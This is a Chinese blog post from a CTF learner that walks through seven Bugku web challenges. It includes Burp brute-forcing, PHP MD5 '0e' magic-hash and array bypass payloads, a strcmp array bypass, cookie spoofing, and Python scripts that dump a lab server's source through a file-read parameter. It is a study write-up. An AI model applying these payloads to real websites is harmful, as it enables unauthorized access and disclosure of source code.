Lemon's blog

Bugku—web题总结(二)

Record my learning process of CTF.

字数统计: 1.4k阅读时长: 5 min
2019/08/25 Share

前言:之前没有总结完,这次继续总结!

输入密码查看flag

在这里插入图片描述
观察到爆破而且密码是五位数字,那就用burp来爆破
设置payload:
在这里插入图片描述
在这里插入图片描述
爆破出来了,提交即可得出flag

点击一百万次

在这里插入图片描述
提示是JS,查看一下源代码,发现

虽然不太懂JS代码,但是还是可以理解这个代码大意,变量clicks通过点击来自增。但是这里变量也可以通过POST进行传递,那就直接给变量传一个10000000.
在这里插入图片描述

备份是个好习惯

在这里插入图片描述
发现是MD5加密后的值,而且两段相同,解密一下
在这里插入图片描述空密码,看来解题思路应该错了,重新查看题目发现这道题与备份有关,常见的PHP备份后缀名有.php.bak
输入http://123.206.87.240:8002/web16/index.php.bak发现

在这里插入图片描述
当然了,这次是运气好,是index.php,如果遇到其他名字的话就用御剑来把隐藏的目录都给扫出来即可。
在这里插入图片描述
就一个目录,那备份肯定就是index.php.bak,接下来就来查看下载的文件
在这里插入图片描述

1
$str = strstr($_SERVER['REQUEST_URI'], '?');

strstr函数将URL?后的值(包括?)一起赋给变量str

1
$str = substr($str,1);

去除

1
$str = str_replace('key','',$str);

如果变量str中存在key,则替换掉

最核心的代码就是这一段代码

1
2
3
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}

两个变量的MD5值需相同,但是变量不能够相同,才可以得出flag,这点涉及到了MD5的绕过

md5加密之后以0e开头的,值都为0,那是因为0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。

常见的0e开头:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

既然知道了如何绕过,那就来构造语句,但是要注意前面将key这个关键字给过滤掉了,所以采用错位的方法构造payload:

1
?kekeyy1=QNKCDZO&kekeyy2=s214587387a

得出flag
在这里插入图片描述
除此之外,看了大师傅们的博客,发现绕过MD5的方法还可以利用数组

md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。

所以构造payload:

1
2
http://123.206.87.240:8002/web16/?kekeyy1[]=aa&kekeyy2[]=bb
//值可以随便填写

得出flag
在这里插入图片描述

成绩单

在这里插入图片描述
明显的回显注入,判断闭合符号是单引号,省略符号是#,这道题也没有过滤关键字什么的,按照通用的语句来做即可,这里就不阐述了。
在这里插入图片描述

速度要快

查看源码发现
在这里插入图片描述
需要一个带margin属性的post请求,除此之外应该还有其他线索,用burp进行抓包,发现请求头中隐藏有flag,base64解码提交确不正确,搞了好久才发现原来每go一次,flag便变化一次
在这里插入图片描述
看了大师傅的write up,需要py脚本来解决,自己还写不出来就参考大师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import base64

url = 'http://123.206.87.240:8002/web6/'
req = requests.session()
res = req.get(url)

#获取请求头中的flag
flag = res.headers['flag']

#对flag进行base64解码 --- 得到的是bytes类型
flag = base64.b64decode(flag)

#把bytes类型转换成str类型 https://blog.csdn.net/lanchunhui/article/details/72681978
flag = bytes.decode(flag)

#split函数要用str类型的,所以才进行转化

#截取字符串后面的flag字段
flag = flag[flag.index(':') + 0:]

#index() 函数用于从列表中找出某个值第一个匹配项的索引位置。

#然后再对其进行base64解码
flag = base64.b64decode(flag)

#根据题目提示 now you have to post the margin what you find --- 需要根据margin属性进行post请求提交
#构造data,另margin属性为爆破出来的txt
data = {'margin': flag}

#通过会话的post请求,传递data
rs = req.post(url, data)

#获取页面内容
key = rs.content

#转成str格式
key = bytes.decode(key)
print(key)

python str与bytes之间的转换
大师傅博客

cookies欺骗

一开始做这道题很懵,后来发现url上a2V5cy50eHQ=是base64编码,解码查看
在这里插入图片描述
解码得到keys.txt,说明当前访问的是keys.txt文件,那按照这样的格式把index.php也转换成base64编码格式查看源码。
在这里插入图片描述
发现改变line的值会出现一段PHP语句,写一个简单的脚本把所有的代码跑出来

1
2
3
4
5
6
7
8
import requests

a=20

for i in range(a):
url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s=requests.get(url)
print (s.text)

结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

审计代码,发现有一段代码特殊

1
2
3
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}

再结合题目,cookies欺骗,抓包修改参数即可访问keys.php,不过这里keys.php需要转化成base64的格式。
在这里插入图片描述

前女友(SKCTF)

在这里插入图片描述
这个链接是可以点开的,一开始没注意到,在抓包过程中才发现
在这里插入图片描述
一段PHP代码,考察MD5漏洞的,但是和之前的题中有一点不同,这道题还考察了strcmp函数的漏洞

strcmp(str1,str2)比较两个字符串,如果相等就返回0。
在php 5.2版本之前,利用strcmp函数将数组与字符串进行比较会返回-1,但是从5.3开始,会返回0

所以利用这个漏洞构造payload:

1
?v1=s214587387a&v2=s878926199a&v3[]=1

或都用数组来绕过,payload:

1
?v1[]=1&v2[]=2&v3[]=1

得出flag
在这里插入图片描述
这次就先总结到这里。

CATALOG
  1. 1. 输入密码查看flag
  2. 2. 点击一百万次
  3. 3. 备份是个好习惯
  4. 4. 成绩单
  5. 5. 速度要快
  6. 6. cookies欺骗
  7. 7. 前女友(SKCTF)